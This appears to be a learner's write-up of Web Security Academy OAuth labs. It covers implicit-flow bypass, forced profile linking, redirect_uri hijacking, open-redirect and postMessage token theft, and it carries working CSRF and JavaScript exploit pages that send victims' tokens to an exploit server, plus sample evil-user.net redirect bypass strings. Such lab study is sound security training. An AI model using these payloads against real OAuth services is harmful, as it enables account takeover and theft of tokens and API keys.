Vulnerabilities in the Client Application
Improper Implementation of the Implicit Grant Type
In the implicit grant flow, the OAuth service sends the access token to the client application via the user’s browser as a URL fragment. The client uses JavaScript to retrieve the token.
To maintain the session after the user closes the page, the client often sends the access token and user data (e.g., user ID) to the server in a POST
request. The server then assigns a session cookie to log in the user. Unlike traditional logins, the server has no passwords or secrets to validate the data, so it implicitly trusts the token.
This POST
request is visible to attackers through the browser. If the client application doesn’t verify that the access token matches the user data in the request, attackers can manipulate the parameters and impersonate other users, leading to serious vulnerabilities.
Lab: Authentication Bypass via OAuth Implicit Flow
Abstract
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users’ accounts without knowing their password.
To solve the lab, log in to Carlos’s account. His email address is
carlos@carlos-montoya.net
.
Info
You can log in with your own social media account using the following credentials:
wiener:peter
.
Authorization request shows that it is implicit grant type because the URL has response_type=token
.
https://oauth-0a6700380415944b8207699502b200ae.oauth-server.net/auth?client_id=zne0s7fkhulrhrd9375yo&redirect_uri=https://0ae100d00400946482ec6b4b001300ef.web-security-academy.net/oauth-callback&response_type=token&nonce=506826589&scope=openid%20profile%20email
We will intercept and tamper the request that has Set-Cookie
in its reponse:
POST /authenticate HTTP/2
Host: 0ae100d00400946482ec6b4b001300ef.web-security-academy.net
Cookie: session=grZqOcfTPy0sOWrTSqVDjFHdex7pMrKY
Content-Length: 103
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
{"email":"wiener@hotdog.com","username":"wiener","token":"aRAsIbJvJVixeObclU2isyPmqCIrmQ8w2EHqOX7-tSD"}
As the server does not have any data to compare with user’s information, change the email
and username
for impersonating:
POST /authenticate HTTP/2
Host: 0ae100d00400946482ec6b4b001300ef.web-security-academy.net
Cookie: session=grZqOcfTPy0sOWrTSqVDjFHdex7pMrKY
Content-Length: 111
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
{"email":"carlos@carlos-montoya.net","username":"carlos","token":"aRAsIbJvJVixeObclU2isyPmqCIrmQ8w2EHqOX7-tSD"}
Flawed CSRF Protection
The state
parameter is a key part of OAuth flows, acting as a CSRF token for the client application. It should contain an unguessable value, like a hash tied to the user’s session, and be passed between the client and the OAuth service.
If the state
parameter is missing in an authorization request, it opens the door for attackers to initiate an OAuth flow and trick the user’s browser into completing it, similar to a CSRF attack. This can lead to serious issues depending on how the client app uses OAuth.
Lab: Forced OAuth Profile Linking
Abstract
This lab lets you link a social media profile to your account for OAuth login. However, due to insecure OAuth implementation, attackers can exploit this to access other users’ accounts.
Perform a CSRF attack to link your social media profile to the admin’s account, access the admin panel, and delete Carlos.
Info
The admin user will open anything you send from the exploit server and they always have an active session on the blog website.
You can log in to your own accounts using the following credentials:
- Blog website account:Â
wiener:peter
- Social media profile:Â
peter.wiener:hotdog
The authorization request:
GET /auth?client_id=o1ow6gv5up9cyru9dt2t9&redirect_uri=https://0ab2001c03baf345811b7fd20055002c.web-security-academy.net/oauth-linking&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: oauth-0a2c0030038cf3fc81e77d4702ee0085.oauth-server.net
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0ab2001c03baf345811b7fd20055002c.web-security-academy.net/
This request reveals some information:
- The grant type is Authorization Code.
- The
state
parameter is missing.
The request used for linking social media profile:
GET /oauth-linking?code=fTyuPngoeXS5lvIbYLUlga_BSpfz7x4jiALnHRR_aQA HTTP/2
Host: 0a7a00c603bc43f981de20c6000500ea.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US
Referer: https://oauth-0a2c0030038cf3fc81e77d4702ee0085.oauth-server.net/
Intercept the request and generate the PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a7a00c603bc43f981de20c6000500ea.web-security-academy.net/oauth-linking">
<input type="hidden" name="code" value="fTyuPngoeXS5lvIbYLUlga_BSpfz7x4jiALnHRR_aQA" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Deliver the PoC to the victim and login with social media in another browser that does not have proxy as we need to hold the above request. We will see that we can access the Admin Panel. Then, delete the carlos
user for solving the lab.
Vulnerabilities in the OAuth Service
Leaking Authorization Codes and Access Tokens
One of the biggest OAuth vulnerabilities occurs when the OAuth service is misconfigured, allowing attackers to steal authorization codes or access tokens tied to other users’ accounts. If an attacker steals a valid code or token, they can access the victim’s data and potentially log in as them on any app using that OAuth service.
Depending on the grant type, the code or token is sent via the victim’s browser to the /callback
endpoint. If the OAuth service doesn’t validate the redirect URI properly, an attacker can trick the victim’s browser into sending the code or token to an attacker-controlled endpoint.
In the authorization code flow, an attacker can steal the victim’s code before it’s used and send it to the legitimate /callback
endpoint to gain access. The attacker doesn’t need the client secret or access token, just the victim’s valid session with the OAuth service. Using state or nonce protection won’t stop this, as attackers can generate their own values.
Info
More secure authorization servers require the
redirect_uri
to be sent when exchanging the code. The server checks if it matches the one from the initial authorization request and rejects the exchange if it doesn’t. Since this happens via a secure server-to-server channel, attackers can’t control the secondredirect_uri
.
Lab: OAuth Account Hijacking via redirect_uri
Abstract
This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users’ accounts.
To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user
carlos
.
Info
The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.
You can log in with your own social media account using the following credentials:
wiener:peter
.
We can change the redirect_uri
in the authorization request:
GET /auth?client_id=znm7mprdgpid02jcsttmd&redirect_uri=https://google.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
Host: oauth-0a39008e032d2909828b405502260060.oauth-server.net
Cookie: _session=rsI9w4letR-ayLXPImGuk; _session.legacy=rsI9w4letR-ayLXPImGuk
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a8b002d033b29cb827b42cf00930001.web-security-academy.net/
It will be reflected in some places of the response:
HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP
Content-Type: text/html; charset=utf-8
Set-Cookie: _session=rsI9w4letR-ayLXPImGuk; path=/; expires=Thu, 05 Dec 2024 13:54:24 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=rsI9w4letR-ayLXPImGuk; path=/; expires=Thu, 05 Dec 2024 13:54:24 GMT; secure; httponly
Date: Thu, 21 Nov 2024 13:54:24 GMT
Keep-Alive: timeout=5
Content-Length: 195
Redirecting to <a href="https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP">https://google.com/oauth-callback?code=c4kjeVByBzqrl8mk4QgN1SMpR7cchZVtOtAEzooX-dP</a>.
We will generate the PoC for the above request that has https://exploit-0ac300e603cb297b822d41a301b00083.exploit-server.net
as redirect_uri
:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://oauth-0a39008e032d2909828b405502260060.oauth-server.net/auth?client_id=znm7mprdgpid02jcsttmd&redirect_uri=https://exploit-0ac300e603cb297b822d41a301b00083.exploit-server.net&response_type=code&scope=openid%20profile%20email"></form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Deliver the PoC and check access log for authorization code:
10.0.3.41 2024-11-21 14:05:26 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.41 2024-11-21 14:05:27 +0000 "GET /?code=TmYVWgdA7Su8bBg_9NUzW21R1DLKXZpGcZYNyqWKLrj HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
Use this code in the callback request to get the session cookie:
GET /oauth-callback?code=TmYVWgdA7Su8bBg_9NUzW21R1DLKXZpGcZYNyqWKLrj HTTP/2
Host: 0a8b002d033b29cb827b42cf00930001.web-security-academy.net
Cookie: session=DJEPTsAjI86yECtHhIaFoiSw5MrSfL8K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a8b002d033b29cb827b42cf00930001.web-security-academy.net/
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=zqUvnaH785Qq3JQXjSXHUHwoyGyH6H89; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 2996
Update the cookie in the browser with this cookie. Then, access the /admin
endpoint and delete the carlos
user for solving the lab.
Flawed redirect_uri
Validation
To prevent attacks, client applications should provide a whitelist of valid callback URIs when registering with the OAuth service. This lets the service check the redirect_uri
against the list and block external URIs. However, attackers might still find ways to bypass this validation.
When auditing an OAuth flow, test the redirect_uri
parameter to see how it’s validated. Some implementations only check that it starts with an approved domain, allowing changes like adding paths, query parameters, or fragments without triggering an error.
You can try adding extra values to the redirect_uri
to exploit differences in how the OAuth service parses it. For example:
https://default-host.com&@foo.evil-user.net#@bar.evil-user.net/
Also, test for server-side parameter pollution by submitting duplicate redirect_uri
parameters, like this:
https://oauth-authorization-server.com/?client_id=123&redirect_uri=client-app.com/callback&redirect_uri=evil-user.net
Some servers treat localhost
URIs differently, as they are commonly used in development. In some cases, any redirect_uri
starting with localhost
may be mistakenly allowed in production, letting you bypass validation by using a domain like localhost.evil-user.net
.
Tip
Don’t just focus on testing the
redirect_uri
parameter alone. In real-world scenarios, you may need to test different combinations of parameters, as changes to one can affect others. For example, switching theresponse_mode
from query to fragment can change how theredirect_uri
is parsed, potentially letting you bypass blocks. Also, if theweb_message
response mode is supported, it may allow more subdomains in theredirect_uri
.
Stealing Codes and Access Tokens via a Proxy Page
Try to expand your attack surface within the client application by checking if you can modify the redirect_uri
to point to other pages on a whitelisted domain.
Look for ways to access different subdomains or paths. For example, the default redirect_uri
might be something like /oauth/callback
, but you could use directory traversal tricks like:
https://client-app.com/oauth/callback/../../example/path
This could be interpreted as:
https://client-app.com/example/path
Once you identify other accessible pages, audit them for vulnerabilities to leak the code or token:
- Authorization code flow: find a way to access query parameters
- Implicit grant type: focus on extracting the URL fragment.
An open redirect vulnerability is useful for forwarding victims, along with their code or token, to an attacker-controlled domain where you can host malicious scripts.
For the implicit grant, stealing an access token doesn’t just let you log into the victim’s account - it also allows you to make API calls to the OAuth service’s resource server, potentially exposing sensitive data not accessible through the client application’s UI.
Lab: Stealing OAuth Access Tokens via an Open Redirect
Abstract
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.
To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.
Note
You cannot access the admin’s API key by simply logging in to their account on the client application.
Info
The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.
You can log in via your own social media account using the following credentials:Â
wiener:peter
.
This lab uses implicit grant type:
GET /auth?client_id=jb1etcwqf0ub61756snqz&redirect_uri=https://0ad900e403a50d63810630df0084008f.web-security-academy.net/oauth-callback&response_type=token&nonce=-552881171&scope=openid%20profile%20email HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net
This request has a Client-side redirect script in its response:
GET /oauth-callback HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
Cookie: session=bBZ4f1ZEG01bP5mKs0G0hF2BGJBY7U8U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net/
<script>
const urlSearchParams = new URLSearchParams(window.location.hash.substr(1));
const token = urlSearchParams.get('access_token');
fetch('https://oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net/me', {
method: 'GET',
headers: {
'Authorization': 'Bearer ' + token,
'Content-Type': 'application/json'
}
})
.then(r => r.json())
.then(j =>
fetch('/authenticate', {
method: 'POST',
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: j.email,
username: j.sub,
token: token
})
}).then(r => document.location = '/'))
</script>
As we can see, the client application will extract the access token from the fragment and send two subsequent requests, one for getting user’s information and one for creating a session that is associated with the user’s information:
GET /me HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net
HTTP/2 200 OK
{"sub":"wiener","apikey":"AOTpY3PtBrwgj6xifq1Nf72G6c1rJEuD","name":"Peter Wiener","email":"wiener@hotdog.com","email_verified":true}
POST /authenticate HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
{"email":"wiener@hotdog.com","username":"wiener","token":"nz4gPnukMfd61Up-juNpD1hZKEUhvjRoNrlDFBrd2lr"}
HTTP/2 302 Found
Location: /
Set-Cookie: session=JnV7TMpj2wpYHvrWw9moMbaTWgHJUK1z; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0
The first request also have API key.
Found a request that has open redirect:
GET /post/next?path=https://exploit-0adb009c03820dfb816a2f41016800e5.exploit-server.net HTTP/2
Host: 0ad900e403a50d63810630df0084008f.web-security-academy.net
HTTP/2 302 Found
Location: https://exploit-0adb009c03820dfb816a2f41016800e5.exploit-server.net
X-Frame-Options: SAMEORIGIN
Content-Length: 0
Also, we can use the path traversal trick in the authorization request:
GET /auth?client_id=jb1etcwqf0ub61756snqz&response_type=token&nonce=552881171&scope=openid%20profile%20email&redirect_uri=https://0ad900e403a50d63810630df0084008f.web-security-academy.net/oauth-callback/../post/next HTTP/2
Host: oauth-0a720095031a0db481c42e3d020e0002.oauth-server.net
Now, we can construct the CSRF PoC like this:
<script>
if (!document.location.hash) {
window.location = 'https://oauth-0abe00fe0316fa2f807c15fa02b0008e.oauth-server.net/auth?client_id=nj0pun7ujt2ta6hzlnbgr&redirect_uri=https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0ad3002003e1faa980f316f601ca0054.exploit-server.net/exploit/&response_type=token&nonce=1591621695&scope=openid%20profile%20email'
} else {
window.location = '/?' + document.location.hash.substr(1);
}
</script>
Here is how the script works:
- Initially, an authorization request is sent to the OAuth service with a malicious
redirect_uri
parameter. - After the user authenticates and provides consent, the OAuth service redirects the user to the
redirect_uri
. The client application will then direct the user back to the exploit server viahttps://exploit-0ad3002003e1faa980f316f601ca0054.exploit-server.net/exploit
. - Upon accessing the exploit server for the second time, the fragment part of the URL (containing the access token) is extracted and sent to the exploit server at the root path (
/
).
Deliver the PoC to the victim and check the access log for retrieving admin’s token:
42.115.92.228 2024-11-21 16:13:28 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"
10.0.3.250 2024-11-21 16:13:28 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250 2024-11-21 16:13:29 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250 2024-11-21 16:13:29 +0000 "GET /?access_token=DCVnysDAaehB0ht4W_npFL9NBn8CYXfCZa5JieBdsaA&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.250 2024-11-21 16:13:29 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
Use this token to get the API key via the following request:
GET /me HTTP/2
Host: oauth-0abe00fe0316fa2f807c15fa02b0008e.oauth-server.net
Authorization: Bearer DCVnysDAaehB0ht4W_npFL9NBn8CYXfCZa5JieBdsaA
HTTP/2 200 OK
X-Powered-By: Express
Vary: Origin
Access-Control-Allow-Origin: https://0a3e00ae034ffaee801c174b002100e5.web-security-academy.net
Access-Control-Expose-Headers: WWW-Authenticate
Pragma: no-cache
Cache-Control: no-cache, no-store
Content-Type: application/json; charset=utf-8
Date: Thu, 21 Nov 2024 16:15:10 GMT
Keep-Alive: timeout=5
Content-Length: 152
{"sub":"administrator","apikey":"fisObrdtm2WYCOeaKeWNOz1nWflk0h1q","name":"Administrator","email":"administrator@normal-user.net","email_verified":true}
Beyond Open Redirects
Attackers can exploit other vulnerabilities to steal OAuth codes or tokens and send them to external domains. Common methods include:
- Dangerous JavaScript Handling Query Parameters or Fragments Insecure scripts, such as those using web messaging, can pass tokens through a chain of scripts, eventually leaking them.
- XSS Vulnerabilities XSS attacks are especially dangerous when combined with OAuth. Instead of just accessing cookies (often protected by HTTPOnly), stealing an OAuth token allows attackers to use the victim’s account on their own browser, enabling prolonged attacks and data theft.
- HTML Injection
If JavaScript injection is blocked (e.g., due to CSP), HTML injection might still be viable. For example, injecting a malicious
<img>
tag can cause browsers to send theReferer
header containing the stolen authorization code when fetching the image.
Lab: Stealing OAuth Access Tokens via a Proxy Page
Abstract
This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.
To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.
Info
The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.
You can log in via your own social media account using the following credentials:
wiener:peter
.
Discover Path Traversal Vulnerability and No Open Redirect
First, found that we can use path traversal on the redirect_uri
parameter of the authorization request:
GET /auth?client_id=fmb1zf3i4e1xd8mguxlei&redirect_uri=https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/oauth-callback/../&response_type=token&nonce=-543402967&scope=openid%20profile%20email HTTP/2
HTTP/2 302 Found
X-Powered-By: Express
Pragma: no-cache
Cache-Control: no-cache, no-store
Location: https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/#access_token=ASm9s9UldRK8Y_vWsuFU9wNVVWBSjowXefQWxi9xgV6&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email
Fail
Due to the absence of open redirect, we can not redirect the callback request to our exploit server.
I did try to find XSS and HTML injection but found nothing.
Obviously, we can not redirect to a POST request such as the comment request to store the access token from the fragment part of the URL.
Identify Web Messaging Vulnerability
Upon examining the application, I discovered the presence of several client-side scripts. For example, a GET request to the following endpoint retrieves a page containing the script below:
GET /post?postId=6 HTTP/2
Host: 0adb00b4030e1e818044766e004a0041.web-security-academy.net
<script>
window.addEventListener('message', function(e) {
if (e.data.type === 'oncomment') {
e.data.content['csrf'] = 'YXOsRvaoVa3j7zV8s0BrV88Zq506LRy1';
const body = decodeURIComponent(new URLSearchParams(e.data.content).toString());
fetch("/post/comment",
{
method: "POST",
body: body
}
).then(r => window.location.reload());
}
}, false)
</script>
This script listens for web messages sent from other windows using the postMessage()
function. Web messaging allows different windows, such as pop-ups or iframes, to communicate with each other effectively.
When the data sent via postMessage()
has a type
value of oncomment
, the script sends a POST request to /post/comment
with the extracted data, which includes a CSRF token ('csrf': 'YXOsRvaoVa3j7zV8s0BrV88Zq506LRy1'
). Upon completing the request, the script reloads the current window.
But when is the web message sent? The answer lies in the following iframe embedded within the blog post itself, as part of the same response containing the script above:
<iframe onload='this.height = this.contentWindow.document.body.scrollHeight + "px"' width=100% frameBorder=0 src='/post/comment/comment-form#postId=6'></iframe>
This iframe loads a new embedded window within the current page to display the comment form. The content of the iframe is retrieved through a GET request to /post/comment/comment-form#postId=6
. The server response includes another client-side script:
<script>
parent.postMessage({type: 'onload', data: window.location.href}, '*');
function submitForm(form, ev) {
ev.preventDefault();
const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
parent.postMessage({type: 'oncomment', content: o}, '*');
form.reset();
}
</script>
This script performs two main actions:
- Initial Web Message: upon loading, it sends a web message to the parent window using
postMessage()
. This message has atype
value ofonload
and includes the currenthref
in thedata
field. - Form Submission Handler: it defines a
submitForm()
function to be triggered when the comment form is submitted. This function:- Prevents the default form submission behavior.
- Extracts form data (e.g.,
comment
,name
,email
, andwebsite
) and combines it with hash parameters (e.g.,postId
). - Packages the data into an object and sends it to the parent window via
postMessage()
with atype
value ofoncomment
. - Finally, it resets the form.
The oncomment
message is then processed by the first script in the parent window, which handles the POST request to add a new comment.
It seems we need to leverage the web messaging concept to exploit this vulnerability. Fortunately, I found a relevant blog on the topic: Controlling the web message source | Web Security Academy. In this blog, the author demonstrates how to send a web message from another window using the following iframe:
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')">
The event handler on the vulnerable website is as follows:
<script>
window.addEventListener('message', function(e) {
eval(e.data);
});
</script>
When the vulnerable website receives the web message, it executes the print()
function.
Building on this concept, I crafted an iframe that redirects to /post?postId=6
and sends a request to add a new comment containing an access token:
<iframe src="https://oauth-0a9b00f303bb1e8f8063748702a7006a.oauth-server.net/auth?
client_id=fmb1zf3i4e1xd8mguxlei&
redirect_uri=https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/oauth-callback/../post?postId=6&
response_type=token&
nonce=-543402967&
scope=openid%20profile%20email">
</iframe>
<script>
const iframe = document.querySelector('iframe');
const iframeURL = iframe.contentWindow.location.href;
const formData = [
`name=${encodeURIComponent('attacker')}`,
`postId=${encodeURIComponent(6)}`,
`comment=${encodeURIComponent(iframeURL)}`,
`email=attacker@example.com`
].join('&');
fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post/comment', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData
});
</script>
Explanation of the script:
- Internal Script Usage: an internal script is used because the inline script in the
onload
event requires a minified script to function correctly. - Avoiding Email Encoding: the
@
character in theemail
parameter must not be URL-encoded, as doing so will cause the server to return a 400 error. To address this, the form data is manually constructed, with encoding applied selectively to other parameters. - Sending the Comment Request: to include the user’s cookie with the request, the script sets
mode: 'no-cors'
andcredentials: 'include'
. This ensures that the cookies required for authentication are sent along with the request.
Cross-Origin Restrictions
However, there is a problem: we cannot access the contentWindow
property, which represents the window object of the iframe, due to restrictions imposed by the SOP:
Error
Exception: SecurityError: Blocked a frame with origin
https://exploit-0a1600f603421e49804c758001de0037.exploit-server.net
from accessing a cross-origin frame.
After researching this error, I found a helpful post on Stack Overflow: SecurityError: Blocked a frame with origin from accessing a cross-origin frame. The top answer explains that one way to access data from another window is by using an event handler.
Revisiting the second client-side script of /post/comment/comment-form
, it’s noticeable that the first postMessage()
call sends the URL (including the access token) of the current page to the parent window.
Building on this, I modified the redirect_uri
parameter to /post/comment/comment-form
and added an event handler in the exploit script to capture the URL from the iframe.
<iframe src="https://oauth-0a9b00f303bb1e8f8063748702a7006a.oauth-server.net/auth?
client_id=fmb1zf3i4e1xd8mguxlei&
redirect_uri=https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/oauth-callback/../post/comment/comment-form&
response_type=token&
nonce=-543402967&
scope=openid%20profile%20email">
</iframe>
<script>
window.addEventListener('message', function (e) {
if (e.data.type === 'onload') {
const formData = [
`name=${encodeURIComponent('attacker')}`,
`postId=${encodeURIComponent(6)}`,
`comment=${encodeURIComponent(e.data.data)}`,
`email=attacker@example.com`
].join('&');
fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post/comment', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData
});
}
}, false);
</script>
Missing CSRF Token
Missing
At this point, a new problem arises: the CSRF token. The
/post/comment
endpoint requires a valid CSRF token, which is included in the response of the GET request to/post?postId=#
.
To address this, the script sends a GET request to the endpoint and extracts the CSRF token from the response body:
window.addEventListener('message', function (e) {
if (e.data.type === 'onload') {
let csrfToken = '';
fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post?postId=6', {
method: 'GET',
mode: 'cors',
}).then((response) => {
if (response.ok) {
return response.text();
} else {
throw new Error('Failed to fetch the page');
}
}).then((html) => {
const csrfMatch = html.match(/e\.data\.content\['csrf'\]\s*=\s*'([a-zA-Z0-9]+)'/);
if (csrfMatch) {
csrfToken = csrfMatch[1];
console.log('Extracted CSRF Token:', csrfToken);
} else {
console.error('CSRF token not found in the response');
}
}).catch((error) => {
console.error('Error:', error);
});
const formData = [
`name=${encodeURIComponent('attacker')}`,
`postId=${encodeURIComponent(6)}`,
`csrf=${encodeURIComponent(csrfToken)}`,
`comment=${encodeURIComponent(e.data.data)}`,
`email=attacker@example.com`
].join('&');
fetch('https://0adb00b4030e1e818044766e004a0041.web-security-academy.net/post/comment', {
method: 'POST',
mode: 'no-cors',
credentials: 'include',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: formData
});
}
}, false);
This script extracts the CSRF token dynamically and incorporates it into the comment submission request, overcoming the CSRF protection mechanism.
Fail
The issue is that without using
mode: cors
, the browser will block access to the response. However, ifmode: cors
is used, the response must include the ACAO header. Without this header, the browser will still block access to the response.
Final Exploit Script
Hint
The solution reveals that instead of attempting to store the access token on the vulnerable website, we can simply send it to our controlled domain 🤣.
Modify the script into this:
window.addEventListener('message', function (e) {
if (e.data.type === 'onload') {
fetch('/' + encodeURIComponent(e.data.data));
}
}, false)
The final exploit script (note that the lab ID may vary due to multiple attempts):
<iframe src="https://oauth-0a1100c8045b3d0286d956690281000c.oauth-server.net/auth?
client_id=czjsqv8y5gwpbhf99687p&
redirect_uri=https://0a2b0048045d3d9b8692588000870013.web-security-academy.net/oauth-callback/../post/comment/comment-form&
response_type=token&
nonce=270423570&
scope=openid%20profile%20email">
</iframe>
<script>
window.addEventListener('message', function (e) {
if (e.data.type === 'onload') {
fetch('/' + encodeURIComponent(e.data.data));
}
}, false)
</script>
Upload the script to the exploit server and deliver it to the victim. However, the victim does not seem to receive the exploit. According to this blog post, using a standard Chrome browser may help address this issue.
The access log:
58.186.28.190 2024-11-24 06:01:55 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
10.0.3.226 2024-11-24 06:01:56 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.226 2024-11-24 06:01:56 +0000 "GET /https%3A%2F%2F0a1e00780316e2c280347b4f00bd00fd.web-security-academy.net%2Fpost%2Fcomment%2Fcomment-form%23access_token%3DcaXIyCBlUFcKZrfUKIIdXgWdkC6pAbE4Hbg845Imr1o%26expires_in%3D3600%26token_type%3DBearer%26scope%3Dopenid%2520profile%2520email HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
The access token is caXIyCBlUFcKZrfUKIIdXgWdkC6pAbE4Hbg845Imr1o
.
Use this access token in the following request to retreive admin’s API key:
GET /me HTTP/2
Host: oauth-0a49001303afe2df80d379a6026300ab.oauth-server.net
Authorization: Bearer caXIyCBlUFcKZrfUKIIdXgWdkC6pAbE4Hbg845Imr1o
Content-Type: application/json
Origin: https://0a1e00780316e2c280347b4f00bd00fd.web-security-academy.net
Referer: https://0a1e00780316e2c280347b4f00bd00fd.web-security-academy.net/
Flawed Scope Validation
In an OAuth flow, users approve access based on the requested scope. The resulting token limits the client app to the approved scope. However, attackers might exploit validation flaws in the OAuth service to “upgrade” a token (stolen or maliciously obtained) with extra permissions, depending on the grant type.
